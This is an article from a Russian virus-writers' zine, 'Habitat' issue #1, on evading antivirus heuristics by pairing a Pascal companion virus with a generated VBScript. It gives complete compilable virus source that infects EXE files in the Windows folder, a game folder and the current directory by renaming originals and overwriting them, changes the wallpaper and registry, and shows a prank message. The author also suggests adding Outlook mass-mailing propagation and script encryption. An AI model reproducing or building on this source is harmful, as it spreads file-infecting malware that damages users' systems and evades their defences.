===============================================================================
--< Habitat >--< журнал для создателей компьютерных вирусов >--< issue #1 >----
===============================================================================


  --<  Методы обходы эвристических анализаторов на реальном примере. >--

                                   Едет в метро молодой физик, вдруг
                                   замечает надпись из трёх букв, читает:
                                  "икс, игрек, и краткое, ничего не понимаю,
                                   хуйня какая-то".
                                                              Просто анекдот.
  by Alchemist   

  Уже довольно долго идёт соревнование между авторами вирусов и антивирусниками
  одни изобретают новые технологии, другие более совершенные эвристические
  анализаторы. Шифрование, полиморфизм, более совершенный полиморфизм, и проч.

  Полиморфизм, конечно, довольно сложная штука для начинающих вирмэйкеров.
  Поэтому я хотел бы рассказать о другом, более простом методе обмана всей
  этой эвристики.

  Для начала поговорим о эвристических анализаторах. Одни анализируют двоичные
  файлы, другие расчитаны на различные скриптовые языки. У одних антивирусных
  программ довольно мощная эвристика, у других более простая.

  В моём методе я соединил и стандартный ЕХЕ, и VBS скрипт. На практике это
  вирус-компаньон на паскале который для работы с файлами использует не
  стандартные досовские функции а промежуточный VBS скрипт. То-есть анализатору
  нужно будет проверить и ехе-шник и скрипт одновременно.

  Конечно, компаньон-вирусы, очень легко обнаружить так-как они очень заметны,
  однако, его можно доработать. Могу дать несколько советов по доработке. Во
  первых можно сделать размножалку по емэйлу с помощью OutLook в стиле вируса
  Love-letter, зашифровать скрипт внутри ехе файла, в общем дальше придумайте
  сами. Привожу ниже исходный текст вируса на паскале. Компилируется Borland
  Pascal'ем.
=======< cut here >=======
{$M $1000,0,0}
uses dos;
const scName = '123$$321.VBS';
      vrName = '[BlasphemY]';
const a:array [1..2926] of byte =(
66,77,110,11,0,0,0,0,0,0,118,0,0,0,40,0,0,0,100,0,0,0,54,0,0,0,1,0,4,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16,0,0,0,16,0,0,0,164,3,5,0,117,134,
136,0,97,199,202,0,139,72,75,0,149,37,39,0,108,167,172,0,84,233,238,0,127,106,109,0,155,21,21,0,
110,154,158,0,142,56,57,0,124,119,121,0,92,215,220,0,132,88,91,0,100,184,188,0,81,251,252,0,0,0,
139,27,30,241,177,207,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,199,187,
187,31,255,255,255,255,155,187,187,187,187,187,123,252,123,239,87,0,11,0,0,0,175,255,255,248,63,255,255,255,
255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,242,149,179,207,255,255,255,255,255,255,255,255,
255,255,255,255,83,155,57,89,64,0,24,0,0,0,70,255,255,196,223,255,246,255,111,246,255,111,255,255,102,102,
102,255,111,246,255,111,246,255,111,255,97,0,127,255,255,255,255,255,255,255,255,255,255,255,255,255,246,141,250,0,
0,0,37,0,0,0,0,31,251,130,255,255,255,255,255,255,255,255,111,111,40,136,129,255,255,255,255,255,255,255,
255,246,139,102,111,255,255,255,255,255,111,255,111,255,255,255,255,255,255,102,255,144,0,0,50,0,0,0,0,131,
251,2,255,246,255,111,246,255,111,84,68,68,62,46,39,79,255,111,246,255,111,246,255,255,7,255,255,255,255,111,
246,255,255,111,255,111,246,255,111,255,255,255,255,98,64,0,63,0,0,0,0,0,27,22,255,255,255,255,255,255,
251,123,187,183,159,255,242,187,239,255,255,255,255,255,255,235,190,255,255,255,111,255,255,255,255,255,255,255,255,255,
255,255,111,255,255,255,151,0,76,0,0,0,0,0,11,255,255,111,246,255,111,252,147,159,255,255,249,153,149,80,
53,153,149,153,111,246,255,112,255,255,255,111,255,246,255,111,111,255,111,246,255,111,246,255,255,255,255,255,252,0,
89,0,0,0,0,0,11,246,111,255,255,255,255,247,12,102,102,102,232,8,0,8,0,8,0,0,86,255,246,184,
111,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,246,255,111,255,242,128,102,0,0,0,0,0,0,8,
223,246,255,246,255,241,8,136,136,136,166,102,102,102,102,102,102,102,58,111,200,182,255,246,255,111,111,246,255,255,
246,246,255,111,246,255,111,111,255,255,255,255,246,109,115,0,0,0,0,0,0,0,138,171,255,196,68,71,34,226,
238,46,207,255,255,255,255,255,255,255,201,68,128,31,255,255,255,61,255,255,246,255,244,191,255,255,255,255,249,70,
246,255,111,255,211,243,128,0,0,0,0,0,0,0,0,8,27,123,183,190,255,255,255,255,255,255,255,255,255,255,
255,255,246,187,187,183,255,255,246,27,124,255,255,254,183,95,252,123,31,255,39,182,255,255,255,199,121,245,141,0,
0,0,0,0,0,0,0,0,4,191,255,255,255,255,255,255,255,246,89,149,149,252,150,255,255,255,255,90,146,255,
255,252,59,95,255,247,15,255,91,51,127,255,27,255,255,246,254,179,207,255,154,0,0,0,0,0,0,0,0,8,
5,255,255,255,246,102,255,102,102,110,128,0,8,105,142,255,255,111,255,255,11,111,255,255,253,70,255,251,6,255,
173,255,246,111,27,255,255,255,248,63,255,255,167,0,0,0,0,0,0,0,0,230,111,255,255,255,100,136,197,136,
136,138,102,102,108,141,106,223,242,133,255,255,107,130,255,255,255,232,159,80,95,255,102,255,40,92,139,255,255,111,
100,223,255,255,180,0,0,0,0,0,0,0,0,47,255,36,68,68,66,204,173,204,34,164,255,255,255,3,242,20,
77,237,175,255,251,4,191,255,255,32,159,80,234,68,47,255,98,212,0,175,255,164,69,207,255,255,193,0,0,0,
0,0,0,0,75,111,255,193,27,187,187,187,187,187,159,52,255,255,235,181,255,203,132,245,187,239,254,189,75,121,
255,97,187,48,59,123,111,255,255,148,17,187,27,177,22,255,255,254,206,0,0,0,0,0,0,0,223,255,255,110,
94,86,253,51,98,51,217,189,156,255,176,255,255,255,52,255,192,191,255,252,131,55,153,94,115,4,223,255,255,255,
255,253,94,80,0,94,85,47,246,84,219,0,0,0,0,0,0,0,127,255,102,232,0,11,111,255,255,255,40,92,
11,111,176,111,255,246,170,255,192,191,255,254,118,254,8,8,150,1,255,255,255,255,255,100,0,0,0,0,0,54,
110,0,232,0,0,0,0,0,0,2,255,254,136,166,102,251,134,255,255,255,246,255,107,143,176,111,255,88,86,255,
32,191,255,255,152,131,102,198,120,223,255,255,111,111,255,208,0,0,0,0,0,8,128,0,245,0,0,0,0,0,
0,12,255,211,46,207,255,252,47,255,255,255,255,255,246,234,0,139,255,144,239,255,192,191,255,109,64,0,170,170,
128,63,244,68,68,66,255,48,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,255,138,255,255,255,255,
255,255,111,255,111,255,255,251,177,183,182,80,239,245,123,239,255,244,0,0,0,0,0,82,187,183,187,187,159,88,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,12,246,183,153,239,255,255,255,255,255,111,255,111,255,255,
255,242,57,29,25,93,127,255,252,88,0,0,0,0,8,247,15,255,255,250,143,244,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,2,111,254,128,166,111,255,246,102,111,255,255,255,255,255,255,255,244,223,208,5,255,246,
103,0,0,0,0,0,8,241,140,255,255,99,175,244,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,8,
127,246,102,232,159,246,100,136,47,255,111,246,246,246,255,255,246,111,102,111,255,24,128,0,0,0,0,0,14,246,
200,127,249,133,111,244,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,5,20,68,78,242,212,68,78,46,
111,255,255,252,68,68,159,255,255,255,255,255,196,188,194,40,0,0,0,0,12,249,174,20,77,45,223,244,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,10,22,203,187,183,159,91,187,191,255,255,249,187,187,187,187,123,255,
255,255,255,255,193,187,178,249,48,0,0,0,7,251,15,43,117,250,143,88,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,1,255,255,255,251,53,111,255,255,255,37,237,170,173,255,255,154,146,255,255,255,255,98,186,167,239,
80,0,0,0,0,235,54,255,255,251,222,160,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,255,255,255,
255,32,159,255,255,246,168,14,255,255,255,255,246,141,111,255,111,255,200,31,241,6,88,0,0,0,0,11,255,255,
255,255,224,0,0,0,0,0,0,0,0,0,0,0,0,0,0,8,207,255,255,255,255,32,159,255,255,144,230,111,
255,255,255,255,255,105,130,255,255,255,102,111,255,111,246,64,0,0,0,0,70,255,255,243,128,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,111,255,255,255,255,110,115,111,250,222,111,255,255,255,111,246,255,246,90,31,
255,111,255,255,255,243,191,160,0,0,0,0,10,51,51,56,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,161,255,246,246,153,255,255,208,254,183,95,255,255,255,81,255,255,255,255,241,78,255,255,255,255,27,119,95,160,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4,160,31,255,255,255,132,255,255,
208,251,15,255,255,255,255,168,255,255,246,255,255,7,255,255,101,229,170,166,255,160,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,133,96,191,246,255,246,163,255,255,208,107,6,255,255,111,255,218,
111,246,255,255,246,11,255,255,200,136,111,255,246,64,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,4,111,192,191,255,255,255,102,255,255,112,128,159,255,255,255,255,102,255,255,255,255,255,144,239,111,
246,102,255,255,80,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4,251,162,186,
255,255,255,255,241,170,18,0,95,255,111,255,111,255,255,111,246,246,255,144,239,255,255,147,255,247,64,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,213,245,177,27,126,255,199,187,187,187,27,154,
63,255,255,111,255,255,255,255,255,255,255,203,185,255,255,176,123,184,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,18,255,192,191,167,238,26,170,161,34,122,225,53,229,111,255,255,246,255,111,
255,255,255,255,168,111,255,16,168,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,10,255,200,182,241,128,223,255,109,136,159,139,104,136,230,111,255,255,255,255,255,111,111,246,170,255,255,112,
241,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4,255,246,184,111,102,
111,254,137,102,111,107,140,102,168,14,255,246,255,111,255,255,255,241,12,255,245,5,251,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,8,50,255,201,169,255,255,221,239,255,255,252,227,170,
94,237,164,47,255,255,255,111,255,251,6,255,245,14,251,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,3,159,255,187,187,187,187,27,187,47,242,187,187,181,249,187,187,190,255,255,255,
255,202,223,255,99,172,241,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,130,34,249,68,68,204,132,68,18,39,79,255,61,47,255,116,71,34,207,246,226,176,47,255,192,31,251,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,128,128,128,8,198,255,111,255,
246,255,120,129,255,255,245,133,246,255,241,136,182,105,136,128,95,246,32,31,251,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,102,224,0,1,255,255,255,255,255,102,102,255,255,246,99,
0,95,255,102,176,141,102,111,52,253,70,255,192,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,255,255,101,149,91,51,51,207,255,255,255,255,255,111,255,254,149,115,53,255,201,158,255,35,
18,243,15,255,224,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,207,255,
255,255,254,183,123,207,111,246,255,255,255,255,255,255,255,87,183,187,47,255,241,187,17,187,31,255,106,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,178,34,207,255,255,255,255,255,255,255,
246,255,111,255,255,255,255,255,249,68,114,34,234,220,212,78,255,255,193,160,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,70,102,111,255,255,255,255,111,255,255,255,246,246,255,255,255,
255,255,24,136,76,88,95,255,255,252,11,100,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,8,136,1,255,255,255,255,255,246,255,111,255,255,246,255,255,111,255,102,102,111,246,255,255,
255,24,0,128,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
4,221,221,209,255,255,255,255,255,255,255,255,255,111,255,255,255,255,247,31,246,221,221,64,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,8,27,27,187,111,
246,255,21,255,255,255,255,255,255,255,97,123,183,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,138,0,0,0,138,111,255,98,131,255,255,246,226,34,
111,255,255,228,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,214,168,128,128,159,255,246,144,13,102,111,242,136,0,182,102,255,246,160,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
8,47,102,102,255,255,100,0,0,8,63,255,103,0,8,135,255,80,0,0,0,0,0,0,0,0,0,0,0,0,
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0);

var  FPATH:string;
     WDir :string;
     PT   :string;
     fff:file;
     i    :integer;
     cdir :string;

Procedure GenerateScript;  {Generates our VBScript and writes it on disk}
var       f:text;
          msg:string;
          pr1:string;
begin

 getdir(0,cdir);
      assign(f,scName);
       rewrite(f);
       pr1:='';
       if paramcount=1 then pr1:=paramstr(1);
       if paramcount>1 then pr1:=paramstr(1)+' '+paramstr(2);
 writeln(f,'On Error Resume Next');
 {-------------------------------------------------------------------------}
 {-------------------------------------------------------------------------}
 writeln(f,'msg1 = "Trial Period has expired, please register at www.IamFUCKED.com"');
 writeln(f,'VIRNAME="',vrName,'"');
 writeln(f,'WDIR="C:\WINDOWS\"');
 writeln(f,'para="',pr1,'"');
 writeln(f,'curfname="',paramstr(0),'"');
 writeln(f,'CurDir ="',cdir,'"');
 writeln(f,'SET FSO=CreateObject("Scripting.FileSystemObject")');
 writeln(f,'set Launcher = WScript.CreateObject("Wscript.Shell")');
 writeln(f,'if Launcher.RegRead("HKCU\BlasphemY\")<>virName then');
 writeln(f,'FDIR WDIR');
 writeln(f,'FDIR "C:\SIERRA\Half-Life\"');
 writeln(f,'Launcher.RegWrite "HKCU\BlasphemY\",virName');
 writeln(f,'end if');
 writeln(f,'if lcase(Launcher.RegRead("HKCU\Control Panel\Desktop\Wallpaper"))<>"c:\windows\bs.bmp" then');
 writeln(f,'launcher.regwrite "HKCU\Control Panel\Desktop\Wallpaper","c:\windows\bs.bmp" ');
 writeln(f,'launcher.regwrite "HKCU\Control Panel\Desktop\Wallpaperstyle",2');
 writeln(f,'end if');
 writeln(f,'curdir=curdir&"\"');
 writeln(f,'FDIR CURDIR');
 writeln(f,'FSO.CopyFile Changeext (curfname,"dxl"),"$$FF$$.EXE",true');
 writeln(f,'');
 writeln(f,'if day(now)=4 then ');
 writeln(f,'msgbox msg1');
 writeln(f,'end if');
 writeln(f,'if day(now)<>20 then Launcher.Run "$$FF$$.EXE"&" "&para');
 writeln(f,'fso.deletefile(wscript.scriptfullname)');

 {-------------------------------------------------------------------------}
 {-------------------------------------------------------------------------}
 writeln(f,'function ChangeExt(fspec,ext)');
 writeln(f,'fsp3c=fspec');
 writeln(f,'dotpos=instr(1,fsp3c,".")');
 writeln(f,'fsp3c=left(fsp3c,dotpos)');
 writeln(f,'fsp3c=fsp3c+ext');
 writeln(f,'ChangeExt=fsp3c');
 writeln(f,'End function');
 {-------------------------------------------------------------------------}
 writeln(f,'Sub FDir(pathy)');
 writeln(f,'Set FObj=FSO.GetFolder(pathy)');
 writeln(f,'Set FO=FObj.Files');
 writeln(f,'For each target in FO');
 writeln(f,'EName=lcase(FSO.GetExtensionName(target.Name))');
write(f,'if EName="exe" and not FSO.FileExists(pathy&ChangeExt(target.Name,"dxl"))');
writeln(f,' and not lcase(target.name)="wscript.exe" then');
 writeln(f,'FSO.copyFile pathy&Target.Name,pathy&ChangeExt(target.name,"dxl")');
 writeln(f,'FSO.CopyFile curfname,pathy&target.name,true');
 writeln(f,'end if');
 writeln(f,'next');
 writeln(f,'End Sub');
{------------------------------------------------------------------------}
{------------------------------------------------------------------------}


       close(f);

end; {GenerateScript}

Procedure RunScript; {Runs our VBScript using WSCRIPT.EXE}
var       f:file;
begin
FPATH:=GETENV('PATH');
PT:=FSEARCH('WSCRIPT.EXE',FPATH);
PT:=FEXPAND(PT);
 SwapVectors;
  Exec(PT,scName);
 SwapVectors;
end; {RusScript}
begin
 {$I-}
 assign(fff,'c:\windows\bs.bmp'); reset(fff);  close(fff);
 {$I+}
 if ioResult<>0 then begin

 assign(fff,'C:\WINDOWS\BS.BMP'); REWRITE(fff,1);
 blockwrite(fff,a,sizeof(a));
 close(fff);
 end;

 GenerateScript;
  RunScript;

end.
=======< cut here >=======
  В вирусе содержится много лишнего, например эту картинку можно вообще убрать.
  Освободится около двух килобайт. Возможности VBS позволяют писать в реестр,
  присоединять сетевые диски, и делать много других вещей в среде Win32.
  О доработках этого вируса а также других идеях прошу сообщать мне на мэйл.

  (c) Алхимикъ < holyshit@freemail.ru >

  --< ... >---